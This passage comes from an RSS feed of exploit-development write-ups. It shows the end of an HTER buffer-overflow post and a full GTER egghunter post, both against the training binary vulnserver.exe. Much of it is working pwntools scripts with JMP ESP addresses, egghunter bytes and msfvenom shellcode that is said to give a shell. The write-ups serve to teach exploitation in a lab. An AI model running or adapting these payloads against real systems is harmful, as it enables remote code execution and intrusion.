</strong>instruction that we can use with the help of mona. We can simply use <strong>!mona jmp -r esp </strong>to get a list of <strong>JMP ESP</strong> instructions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/0*zSH6uWKE0zG-A4HN.png" /></figure><p>We can use <strong>0x625011af</strong> as our <strong>JMP ESP</strong> instruction.</p><p>Let’s try to use this together with our converter and jump to our debugger as our shellcode placeholder.</p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>def str2hex(val):<br>    return(&#39;&#39;.join([hex(ord(x))[2:].rjust(2,&#39;0&#39;) for x in val]))</pre><pre>payload = &quot;&quot;<br>payload += &quot;HTER &quot;<br>payload += &quot;A&quot;*2041<br>payload += str2hex(p32(0x625011af))<br>payload += str2hex(&quot;\xcc&quot;*10)</pre><pre>r.sendline(payload)<br>r.close()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*VyhZ1vbHc2v_8rH8XirJ4g.png" /></figure><p>We have successfully executed our debugger instruction.</p><p>Next, we need to generate our <strong>shellcode </strong>and replace our placeholder. We can simply use <strong>msfvenom </strong>for this one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*yz7dL_lMW2Hkp0f9OSYHCw.png" /></figure><p>Our final payload script together with the shellcode.</p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>shellcode =  b&quot;&quot;                                                                                                    shellcode += b&quot;\xb8\x39\x1b\xb7\x9d\xdb\xd2\xd9\x74\x24\xf4&quot;                                                        shellcode += b&quot;\x5b\x2b\xc9\xb1\x52\x83\xc3\x04\x31\x43\x0e&quot;                                                        shellcode += b&quot;\x03\x7a\x15\x55\x68\x80\xc1\x1b\x93\x78\x12&quot;                                                        shellcode += b&quot;\x7c\x1d\x9d\x23\xbc\x79\xd6\x14\x0c\x09\xba&quot;                                                        shellcode += b&quot;\x98\xe7\x5f\x2e\x2a\x85\x77\x41\x9b\x20\xae&quot;                                                        shellcode += b&quot;\x6c\x1c\x18\x92\xef\x9e\x63\xc7\xcf\x9f\xab&quot;                                                        shellcode += b&quot;\x1a\x0e\xe7\xd6\xd7\x42\xb0\x9d\x4a\x72\xb5&quot;                                                        shellcode += b&quot;\xe8\x56\xf9\x85\xfd\xde\x1e\x5d\xff\xcf\xb1&quot;                                                        shellcode += b&quot;\xd5\xa6\xcf\x30\x39\xd3\x59\x2a\x5e\xde\x10&quot;                                                        shellcode += b&quot;\xc1\x94\x94\xa2\x03\xe5\x55\x08\x6a\xc9\xa7&quot;                                                        shellcode += b&quot;\x50\xab\xee\x57\x27\xc5\x0c\xe5\x30\x12\x6e&quot;                                                        shellcode += b&quot;\x31\xb4\x80\xc8\xb2\x6e\x6c\xe8\x17\xe8\xe7&quot;                                                        shellcode += b&quot;\xe6\xdc\x7e\xaf\xea\xe3\x53\xc4\x17\x6f\x52&quot;                                                        shellcode += b&quot;\x0a\x9e\x2b\x71\x8e\xfa\xe8\x18\x97\xa6\x5f&quot;                                                        shellcode += b&quot;\x24\xc7\x08\x3f\x80\x8c\xa5\x54\xb9\xcf\xa1&quot;                                                        shellcode += b&quot;\x99\xf0\xef\x31\xb6\x83\x9c\x03\x19\x38\x0a&quot;                                                        shellcode += b&quot;\x28\xd2\xe6\xcd\x4f\xc9\x5f\x41\xae\xf2\x9f&quot;                                                        shellcode += b&quot;\x48\x75\xa6\xcf\xe2\x5c\xc7\x9b\xf2\x61\x12&quot;                                                        shellcode += b&quot;\x0b\xa2\xcd\xcd\xec\x12\xae\xbd\x84\x78\x21&quot;                                                        shellcode += b&quot;\xe1\xb5\x83\xeb\x8a\x5c\x7e\x7c\x75\x08\x08&quot;                                                        shellcode += b&quot;\x8a\x1d\x4b\x08\x62\x82\xc2\xee\xee\x2a\x83&quot;                                                        shellcode += b&quot;\xb9\x86\xd3\x8e\x31\x36\x1b\x05\x3c\x78\x97&quot;                                                        shellcode += b&quot;\xaa\xc1\x37\x50\xc6\xd1\xa0\x90\x9d\x8b\x67&quot;                                                        shellcode += b&quot;\xae\x0b\xa3\xe4\x3d\xd0\x33\x62\x5e\x4f\x64&quot;                                                        shellcode += b&quot;\x23\x90\x86\xe0\xd9\x8b\x30\x16\x20\x4d\x7a&quot;                                                        shellcode += b&quot;\x92\xff\xae\x85\x1b\x8d\x8b\xa1\x0b\x4b\x13&quot;                                                        shellcode += b&quot;\xee\x7f\x03\x42\xb8\x29\xe5\x3c\x0a\x83\xbf&quot;                                                        shellcode += b&quot;\x93\xc4\x43\x39\xd8\xd6\x15\x46\x35\xa1\xf9&quot;                                                        shellcode += b&quot;\xf7\xe0\xf4\x06\x37\x65\xf1\x7f\x25\x15\xfe&quot;                                                        shellcode += b&quot;\xaa\xed\x25\xb5\xf6\x44\xae\x10\x63\xd5\xb3&quot;                                                        shellcode += b&quot;\xa2\x5e\x1a\xca\x20\x6a\xe3\x29\x38\x1f\xe6&quot;                                                        shellcode += b&quot;\x76\xfe\xcc\x9a\xe7\x6b\xf2\x09\x07\xbe&quot;</pre><pre>def str2hex(val):<br>    return(&#39;&#39;.join([hex(ord(x))[2:].rjust(2,&#39;0&#39;) for x in val]))</pre><pre>payload = &quot;&quot;<br>payload += &quot;HTER &quot;<br>payload += &quot;A&quot;*2041<br>payload += str2hex(p32(0x625011af))<br>payload += str2hex(&quot;\x90&quot;*50) # NOP SLED<br>payload += str2hex(shellcode)</pre><pre>r.sendline(payload)<br>r.close()</pre><p>Executing this payload gives us a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*mgKGtBXzxS_DW37mEb0TBw.png" /></figure><p>— ar33zy</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=12c56774c091" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting vulnserver.exe —GTER command using egghunter]]></title>
            <link>https://medium.com/@ar33zy/exploiting-vulnserver-exe-gter-command-using-egghunter-f487673c4873?source=rss-a482b0075375------2</link>
            <guid isPermaLink="false">https://medium.com/p/f487673c4873</guid>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[windows-exploit]]></category>
            <category><![CDATA[vulnserver]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <dc:creator><![CDATA[ar33zy]]></dc:creator>
            <pubDate>Sun, 05 Jul 2020 13:30:54 GMT</pubDate>
            <atom:updated>2020-07-05T15:46:34.617Z</atom:updated>
            <content:encoded><![CDATA[<p>In this write-up, I will discuss about attacking GTER command of vulnserver.exe with egghunter. The exploit for this command is similar to <strong>KSTET </strong>command, so please check <a href="https://medium.com/hackstreetboys/exploiting-vulnserver-exe-kstet-command-using-egghunter-218f807353ee">this write-up</a> first before proceeding to this post as I will skip some of the details discussed on the previous post.</p><p>To get started, let’s read the source code of vulnserver.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*3sQuYmPEm0lh84-EuIl3LA.png" /></figure><p>The code tells us that it only copies <strong>180 bytes</strong> of our input <strong>(RecvBuf) </strong>to <strong>GterBuf</strong>, and it passes <strong>GterBuf </strong>to <strong>Function1().</strong></p><p>Let’s inspect <strong>Function1 </strong>to have a better understanding what happens next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/271/1*AZjStVVels2svm4p_TYCPA.png" /></figure><p>The contents of <strong>GterBuf </strong>is copied to <strong>Buffer2S</strong> without checking the length. This is where the vulnerability occurs. Since <strong>Buffer2S </strong>can only handle <strong>140</strong> <strong>bytes </strong>and <strong>GterBuf </strong>can handle up to <strong>180 bytes </strong>of input, we can smash the stack by sending a payload greater than <strong>140 bytes.</strong></p><p>Our initial payload should look like this.</p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>payload = &quot;&quot;<br>payload += &quot;GTER &quot;<br>payload += &quot;A&quot;*180</pre><pre>r.sendline(payload)<br>r.close()</pre><p>Sending this payload to <strong>vulnserver </strong>makes the program crash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NasfarM_dhEYqdSJtMpFnQ.png" /></figure><p>Upon checking the registers, it seems that we can now control the instruction pointer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*qHhGo6cae1kEMb1BypqnEw.png" /></figure><p>Let’s fuzz this program to get the offset we need to control EIP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*gDFuPMJKFBa30L68Ok7FQg.png" /></figure><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>payload = &quot;&quot;<br>payload += &quot;GTER &quot;<br>payload += &quot;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9&quot;</pre><pre>r.sendline(payload)<br>r.close()</pre><p>Sending this payload gives us the unique pattern that has overwritten the instruction pointer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/1*H4lNTrQC3u1AWTJN-11dFw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*-zNzQPP_DZt1kaozAH9lKQ.png" /></figure><p>We can now control the instruction pointer with <strong>151 bytes </strong>of buffer.</p><p>Now, our issue here is that we only have <strong>180 bytes</strong> of space for our payload, and our shellcode have a length of <strong>300 </strong>to <strong>400 </strong>on average. We need to do a trick for sending our shellcode on the program, and at the same time jumping into it.</p><p>Upon checking again the source code, I have seen some unexploitable commands that can be used to inject our shellcode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*6qtvwH4DN5iQ4950rwUicw.png" /></figure><p>GDOG command stores <strong>1024 bytes</strong> of our input to <strong>GdogBuf</strong>. Given this, we need to have a 2-stage payload to make our exploit work.</p><ul><li>Stage 1 — injecting our payload using GDOG</li><li>Stage 2 — jumping to shellcode using GTER vulnerability</li></ul><p>Since we can say that using the stage 1 payload, our shellcode can be located inside the program. Given this, we can use an <strong>egghunter </strong>to locate our injected shellcode.</p><p>We can easily generate an egghunter shellcode with the help of <strong>mona </strong>by using <strong>!mona egg -t arzy</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*XxTzoK6v4V2LucJH_Pb0ng.png" /></figure><p>Now, we need to think of a way to execute this egghunter shellcode. The length of this shellcode is<strong> 32 bytes, </strong>and we have a limited space for our payload. We can only place this shellcode <strong>in the buffer before our instruction pointer control</strong>.</p><p>Our stage 2 payload structure should look like this.</p><pre>payload = &lt;buffer with egghunter shellcode&gt; + &lt;instruction pointer control&gt;</pre><p>Now, we need to jump backwards to our <strong>egghunter shellcode</strong> by using <strong>JMP ESP</strong> and <strong>RELATIVE SHORT JMP.</strong></p><blockquote>I have introduced <strong>JMP ESP</strong> and <strong>RELATIVE SHORT JMP</strong> from my previous posts, you may read about them from these posts.<br>- <a href="https://medium.com/hackstreetboys/exploiting-vulnserver-exe-trun-command-using-jmp-esp-technique-464e6d0907d3">JMP ESP</a><br>- <a href="https://medium.com/hackstreetboys/exploiting-vulnserver-exe-gmon-command-using-seh-overwrite-26c114c32626">RELATIVE SHORT JMP</a></blockquote><p>Let’s check if there is an available <strong>JMP ESP </strong>instruction that we can use with the help of <strong>mona</strong>. We can simply use <strong>!mona jmp -r esp </strong>to get a list of <strong>JMP ESP</strong> instructions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*C0OnjhltpKowQH7owXqcDA.png" /></figure><p>We can use <strong>0x625011af</strong> as our <strong>JMP ESP</strong> instruction.</p><p>Next, we need to construct our <strong>RELATIVE SHORT JMP</strong> instruction. Since our egghunter is just <strong>32 bytes</strong> and our buffer length is <strong>70 bytes</strong>, we can try to use <strong>JMP -50</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/0*QGym1r7AYlvUDFtj.png" /></figure><p>Let’s reconstruct our payload structure, it should now look like this.</p><pre>payload = &lt;buffer with egghunter&gt; + &lt;jmp esp&gt; + &lt;jmp -50&gt;</pre><p>Combining everything above, our payload script should now look like this. Let’s use “<strong>\xcc</strong>” as our egghunter placeholder.</p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>payload = &quot;&quot;<br>payload += &quot;GTER &quot;<br>payload += &quot;A&quot;*(151 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP buffer<br>payload += &quot;\xcc&quot;*32 # egghunter placeholder<br>payload += &quot;B&quot;*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length), -4 for JMP ESP alignment<br>payload += p32(0x625011af) # JMP ESP<br>payload += &quot;\xeb\xce\x90\x90&quot; # JMP -50</pre><pre>r.sendline(payload)<br>r.close()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*uOFs1lM32LHK4gUkbePKmg.png" /></figure><p>We successfully landed on the location that we want. Let’s replace this with our <strong>egghunter </strong>and construct our stage 1 payload.</p><p>Our <strong>stage 1 payload</strong> should include the <strong>egg </strong>and the <strong>shellcode</strong>. The payload structure should look like this.</p><pre>payload = &quot;arzy&quot;*2 + NOP sled + shellcode</pre><p>Now, let’s generate our shellcode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*sAGbLrJ7g3V4Ii31ly_5TQ.png" /></figure><p>To check if the egghunter can really locate our shellcode, we can add a debugging instruction (<strong>\xcc</strong>) before the NOP sled.</p><p>Let’s now combine everything above in our payload script.</p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>shellcode =  b&quot;&quot;<br>shellcode += b&quot;\xba\x36\xdb\xa5\x76\xd9\xc4\xd9\x74\x24\xf4&quot;<br>shellcode += b&quot;\x58\x2b\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e&quot;<br>shellcode += b&quot;\x03\x66\xd5\x47\x83\x7a\x01\x05\x6c\x82\xd2&quot;<br>shellcode += b&quot;\x6a\xe4\x67\xe3\xaa\x92\xec\x54\x1b\xd0\xa0&quot;<br>shellcode += b&quot;\x58\xd0\xb4\x50\xea\x94\x10\x57\x5b\x12\x47&quot;<br>shellcode += b&quot;\x56\x5c\x0f\xbb\xf9\xde\x52\xe8\xd9\xdf\x9c&quot;<br>shellcode += b&quot;\xfd\x18\x27\xc0\x0c\x48\xf0\x8e\xa3\x7c\x75&quot;<br>shellcode += b&quot;\xda\x7f\xf7\xc5\xca\x07\xe4\x9e\xed\x26\xbb&quot;<br>shellcode += b&quot;\x95\xb7\xe8\x3a\x79\xcc\xa0\x24\x9e\xe9\x7b&quot;<br>shellcode += b&quot;\xdf\x54\x85\x7d\x09\xa5\x66\xd1\x74\x09\x95&quot;<br>shellcode += b&quot;\x2b\xb1\xae\x46\x5e\xcb\xcc\xfb\x59\x08\xae&quot;<br>shellcode += b&quot;\x27\xef\x8a\x08\xa3\x57\x76\xa8\x60\x01\xfd&quot;<br>shellcode += b&quot;\xa6\xcd\x45\x59\xab\xd0\x8a\xd2\xd7\x59\x2d&quot;<br>shellcode += b&quot;\x34\x5e\x19\x0a\x90\x3a\xf9\x33\x81\xe6\xac&quot;<br>shellcode += b&quot;\x4c\xd1\x48\x10\xe9\x9a\x65\x45\x80\xc1\xe1&quot;<br>shellcode += b&quot;\xaa\xa9\xf9\xf1\xa4\xba\x8a\xc3\x6b\x11\x04&quot;<br>shellcode += b&quot;\x68\xe3\xbf\xd3\x8f\xde\x78\x4b\x6e\xe1\x78&quot;<br>shellcode += b&quot;\x42\xb5\xb5\x28\xfc\x1c\xb6\xa2\xfc\xa1\x63&quot;<br>shellcode += b&quot;\x64\xac\x0d\xdc\xc5\x1c\xee\x8c\xad\x76\xe1&quot;<br>shellcode += b&quot;\xf3\xce\x79\x2b\x9c\x65\x80\xbc\x63\xd1\x02&quot;<br>shellcode += b&quot;\xca\x0c\x20\x12\x22\x91\xad\xf4\x2e\x39\xf8&quot;<br>shellcode += b&quot;\xaf\xc6\xa0\xa1\x3b\x76\x2c\x7c\x46\xb8\xa6&quot;<br>shellcode += b&quot;\x73\xb7\x77\x4f\xf9\xab\xe0\xbf\xb4\x91\xa7&quot;<br>shellcode += b&quot;\xc0\x62\xbd\x24\x52\xe9\x3d\x22\x4f\xa6\x6a&quot;<br>shellcode += b&quot;\x63\xa1\xbf\xfe\x99\x98\x69\x1c\x60\x7c\x51&quot;<br>shellcode += b&quot;\xa4\xbf\xbd\x5c\x25\x4d\xf9\x7a\x35\x8b\x02&quot;<br>shellcode += b&quot;\xc7\x61\x43\x55\x91\xdf\x25\x0f\x53\x89\xff&quot;<br>shellcode += b&quot;\xfc\x3d\x5d\x79\xcf\xfd\x1b\x86\x1a\x88\xc3&quot;<br>shellcode += b&quot;\x37\xf3\xcd\xfc\xf8\x93\xd9\x85\xe4\x03\x25&quot;<br>shellcode += b&quot;\x5c\xad\x34\x6c\xfc\x84\xdc\x29\x95\x94\x80&quot;<br>shellcode += b&quot;\xc9\x40\xda\xbc\x49\x60\xa3\x3a\x51\x01\xa6&quot;<br>shellcode += b&quot;\x07\xd5\xfa\xda\x18\xb0\xfc\x49\x18\x91&quot;</pre><pre>payload = &quot;GDOG &quot;<br>payload += &quot;arzy&quot;*2<br>payload += &quot;\xcc&quot;*4<br>payload += &quot;\x90&quot;*100<br>payload += shellcode</pre><pre>r.readline()<br>r.sendline(payload)<br>r.readline()</pre><pre>egghunter = &quot;\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74&quot;<br>egghunter += &quot;\xef\xb8\x61\x72\x7a\x79\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7&quot;</pre><pre>payload = &quot;&quot;<br>payload += &quot;GTER &quot;<br>payload += &quot;A&quot;*(151 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP buffer<br>payload += egghunter<br>payload += &quot;B&quot;*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length), -4 for JMP ESP alignment<br>payload += p32(0x625011af) # JMP ESP<br>payload += &quot;\xeb\xce\x90\x90&quot; # JMP -50</pre><pre>r.sendline(payload)<br>r.close()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*PirY0RhofXVseNUv_s20bA.png" /></figure><p>Nothing happened after running the exploit. It seems that there is an issue with our exploit script.</p><p>Upon reviewing the exploit script, I remembered that we cannot use <strong>GDOG </strong>coomand for our shellcode injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/1*P4FfvWanG9p9n4Zp3n34Hw.png" /></figure><p>During the execution of GTER command, the contents of <strong>GdogBuf </strong>is cleared using<strong> memset().</strong></p><p>Upon testing different commands, the <strong>TRUN </strong>command was able to inject our shellcode.</p><p>Let’s rewrite our exploit script.</p><pre>from pwn import *<br>import time</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>shellcode =  b&quot;&quot;<br>shellcode += b&quot;\xba\x36\xdb\xa5\x76\xd9\xc4\xd9\x74\x24\xf4&quot;<br>shellcode += b&quot;\x58\x2b\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e&quot;<br>shellcode += b&quot;\x03\x66\xd5\x47\x83\x7a\x01\x05\x6c\x82\xd2&quot;<br>shellcode += b&quot;\x6a\xe4\x67\xe3\xaa\x92\xec\x54\x1b\xd0\xa0&quot;<br>shellcode += b&quot;\x58\xd0\xb4\x50\xea\x94\x10\x57\x5b\x12\x47&quot;<br>shellcode += b&quot;\x56\x5c\x0f\xbb\xf9\xde\x52\xe8\xd9\xdf\x9c&quot;<br>shellcode += b&quot;\xfd\x18\x27\xc0\x0c\x48\xf0\x8e\xa3\x7c\x75&quot;<br>shellcode += b&quot;\xda\x7f\xf7\xc5\xca\x07\xe4\x9e\xed\x26\xbb&quot;<br>shellcode += b&quot;\x95\xb7\xe8\x3a\x79\xcc\xa0\x24\x9e\xe9\x7b&quot;<br>shellcode += b&quot;\xdf\x54\x85\x7d\x09\xa5\x66\xd1\x74\x09\x95&quot;<br>shellcode += b&quot;\x2b\xb1\xae\x46\x5e\xcb\xcc\xfb\x59\x08\xae&quot;<br>shellcode += b&quot;\x27\xef\x8a\x08\xa3\x57\x76\xa8\x60\x01\xfd&quot;<br>shellcode += b&quot;\xa6\xcd\x45\x59\xab\xd0\x8a\xd2\xd7\x59\x2d&quot;<br>shellcode += b&quot;\x34\x5e\x19\x0a\x90\x3a\xf9\x33\x81\xe6\xac&quot;<br>shellcode += b&quot;\x4c\xd1\x48\x10\xe9\x9a\x65\x45\x80\xc1\xe1&quot;<br>shellcode += b&quot;\xaa\xa9\xf9\xf1\xa4\xba\x8a\xc3\x6b\x11\x04&quot;<br>shellcode += b&quot;\x68\xe3\xbf\xd3\x8f\xde\x78\x4b\x6e\xe1\x78&quot;<br>shellcode += b&quot;\x42\xb5\xb5\x28\xfc\x1c\xb6\xa2\xfc\xa1\x63&quot;<br>shellcode += b&quot;\x64\xac\x0d\xdc\xc5\x1c\xee\x8c\xad\x76\xe1&quot;<br>shellcode += b&quot;\xf3\xce\x79\x2b\x9c\x65\x80\xbc\x63\xd1\x02&quot;<br>shellcode += b&quot;\xca\x0c\x20\x12\x22\x91\xad\xf4\x2e\x39\xf8&quot;<br>shellcode += b&quot;\xaf\xc6\xa0\xa1\x3b\x76\x2c\x7c\x46\xb8\xa6&quot;<br>shellcode += b&quot;\x73\xb7\x77\x4f\xf9\xab\xe0\xbf\xb4\x91\xa7&quot;<br>shellcode += b&quot;\xc0\x62\xbd\x24\x52\xe9\x3d\x22\x4f\xa6\x6a&quot;<br>shellcode += b&quot;\x63\xa1\xbf\xfe\x99\x98\x69\x1c\x60\x7c\x51&quot;<br>shellcode += b&quot;\xa4\xbf\xbd\x5c\x25\x4d\xf9\x7a\x35\x8b\x02&quot;<br>shellcode += b&quot;\xc7\x61\x43\x55\x91\xdf\x25\x0f\x53\x89\xff&quot;<br>shellcode += b&quot;\xfc\x3d\x5d\x79\xcf\xfd\x1b\x86\x1a\x88\xc3&quot;<br>shellcode += b&quot;\x37\xf3\xcd\xfc\xf8\x93\xd9\x85\xe4\x03\x25&quot;<br>shellcode += b&quot;\x5c\xad\x34\x6c\xfc\x84\xdc\x29\x95\x94\x80&quot;<br>shellcode += b&quot;\xc9\x40\xda\xbc\x49\x60\xa3\x3a\x51\x01\xa6&quot;<br>shellcode += b&quot;\x07\xd5\xfa\xda\x18\xb0\xfc\x49\x18\x91&quot;</pre><pre>payload = &quot;TRUN .&quot;<br>payload += &quot;arzy&quot;*2<br>payload += &quot;\xcc&quot;<br>payload += &quot;\x90&quot;*100<br>payload += shellcode</pre><pre>r.readline()<br>r.sendline(payload)<br>r.readline()</pre><pre>egghunter = &quot;\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74&quot;<br>egghunter += &quot;\xef\xb8\x61\x72\x7a\x79\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7&quot;</pre><pre>payload = &quot;&quot;<br>payload += &quot;GTER &quot;<br>payload += &quot;A&quot;*(151 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP buffer<br>payload += egghunter<br>payload += &quot;B&quot;*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length), -4 for JMP ESP alignment<br>payload += p32(0x625011af) # JMP ESP<br>payload += &quot;\xeb\xce\x90\x90&quot; # JMP -50</pre><pre>r.sendline(payload)<br>r.close()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*kGRSQeZo8KW5QMhDKuoTpg.png" /></figure><p>It successfully landed on our debugger. Let’s try to continue the program and check if the shellcode is executed successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W4r5xlDUE7tIJUffBTVZpA.png" /></figure><p>There was an issue encountered during shellcode execution. It seems that there was an issue with the contents of the registers or stack during execution.</p><p>Since the program is running as a server, I tried to close the current socket and reopened a new connection for the <strong>egghutner payload</strong>.</p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>shellcode =  b&quot;&quot;<br>shellcode += b&quot;\xba\x36\xdb\xa5\x76\xd9\xc4\xd9\x74\x24\xf4&quot;<br>shellcode += b&quot;\x58\x2b\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e&quot;<br>shellcode += b&quot;\x03\x66\xd5\x47\x83\x7a\x01\x05\x6c\x82\xd2&quot;<br>shellcode += b&quot;\x6a\xe4\x67\xe3\xaa\x92\xec\x54\x1b\xd0\xa0&quot;<br>shellcode += b&quot;\x58\xd0\xb4\x50\xea\x94\x10\x57\x5b\x12\x47&quot;<br>shellcode += b&quot;\x56\x5c\x0f\xbb\xf9\xde\x52\xe8\xd9\xdf\x9c&quot;<br>shellcode += b&quot;\xfd\x18\x27\xc0\x0c\x48\xf0\x8e\xa3\x7c\x75&quot;<br>shellcode += b&quot;\xda\x7f\xf7\xc5\xca\x07\xe4\x9e\xed\x26\xbb&quot;<br>shellcode += b&quot;\x95\xb7\xe8\x3a\x79\xcc\xa0\x24\x9e\xe9\x7b&quot;<br>shellcode += b&quot;\xdf\x54\x85\x7d\x09\xa5\x66\xd1\x74\x09\x95&quot;<br>shellcode += b&quot;\x2b\xb1\xae\x46\x5e\xcb\xcc\xfb\x59\x08\xae&quot;<br>shellcode += b&quot;\x27\xef\x8a\x08\xa3\x57\x76\xa8\x60\x01\xfd&quot;<br>shellcode += b&quot;\xa6\xcd\x45\x59\xab\xd0\x8a\xd2\xd7\x59\x2d&quot;<br>shellcode += b&quot;\x34\x5e\x19\x0a\x90\x3a\xf9\x33\x81\xe6\xac&quot;<br>shellcode += b&quot;\x4c\xd1\x48\x10\xe9\x9a\x65\x45\x80\xc1\xe1&quot;<br>shellcode += b&quot;\xaa\xa9\xf9\xf1\xa4\xba\x8a\xc3\x6b\x11\x04&quot;<br>shellcode += b&quot;\x68\xe3\xbf\xd3\x8f\xde\x78\x4b\x6e\xe1\x78&quot;<br>shellcode += b&quot;\x42\xb5\xb5\x28\xfc\x1c\xb6\xa2\xfc\xa1\x63&quot;<br>shellcode += b&quot;\x64\xac\x0d\xdc\xc5\x1c\xee\x8c\xad\x76\xe1&quot;<br>shellcode += b&quot;\xf3\xce\x79\x2b\x9c\x65\x80\xbc\x63\xd1\x02&quot;<br>shellcode += b&quot;\xca\x0c\x20\x12\x22\x91\xad\xf4\x2e\x39\xf8&quot;<br>shellcode += b&quot;\xaf\xc6\xa0\xa1\x3b\x76\x2c\x7c\x46\xb8\xa6&quot;<br>shellcode += b&quot;\x73\xb7\x77\x4f\xf9\xab\xe0\xbf\xb4\x91\xa7&quot;<br>shellcode += b&quot;\xc0\x62\xbd\x24\x52\xe9\x3d\x22\x4f\xa6\x6a&quot;<br>shellcode += b&quot;\x63\xa1\xbf\xfe\x99\x98\x69\x1c\x60\x7c\x51&quot;<br>shellcode += b&quot;\xa4\xbf\xbd\x5c\x25\x4d\xf9\x7a\x35\x8b\x02&quot;<br>shellcode += b&quot;\xc7\x61\x43\x55\x91\xdf\x25\x0f\x53\x89\xff&quot;<br>shellcode += b&quot;\xfc\x3d\x5d\x79\xcf\xfd\x1b\x86\x1a\x88\xc3&quot;<br>shellcode += b&quot;\x37\xf3\xcd\xfc\xf8\x93\xd9\x85\xe4\x03\x25&quot;<br>shellcode += b&quot;\x5c\xad\x34\x6c\xfc\x84\xdc\x29\x95\x94\x80&quot;<br>shellcode += b&quot;\xc9\x40\xda\xbc\x49\x60\xa3\x3a\x51\x01\xa6&quot;<br>shellcode += b&quot;\x07\xd5\xfa\xda\x18\xb0\xfc\x49\x18\x91&quot;</pre><pre>payload = &quot;TRUN .&quot;<br>payload += &quot;arzy&quot;*2<br>payload += &quot;\xcc&quot;<br>payload += &quot;\x90&quot;*100<br>payload += shellcode</pre><pre>r.readline()<br>r.sendline(payload)<br>r.readline()<br><strong>r.close()</strong></pre><pre>#Reopening connection to vulnserver<br><strong>r = remote(host, port)</strong></pre><pre>egghunter = &quot;\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74&quot;<br>egghunter += &quot;\xef\xb8\x61\x72\x7a\x79\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7&quot;</pre><pre>payload = &quot;&quot;<br>payload += &quot;GTER &quot;<br>payload += &quot;A&quot;*(151 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP buffer<br>payload += egghunter<br>payload += &quot;B&quot;*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length), -4 for JMP ESP alignment<br>payload += p32(0x625011af) # JMP ESP<br>payload += &quot;\xeb\xce\x90\x90&quot; # JMP -50</pre><pre>r.sendline(payload)<br>r.close()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*O9HU3lzjCNKFGdQcaYAE3g.png" /></figure><p>Again, we landed successfully on our desired location.</p><p>Continuing the program after the debug instruction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sOPviTqnJ_GJAEG3JjSqpQ.png" /></figure><p>The program continued successfully.</p><figure><img 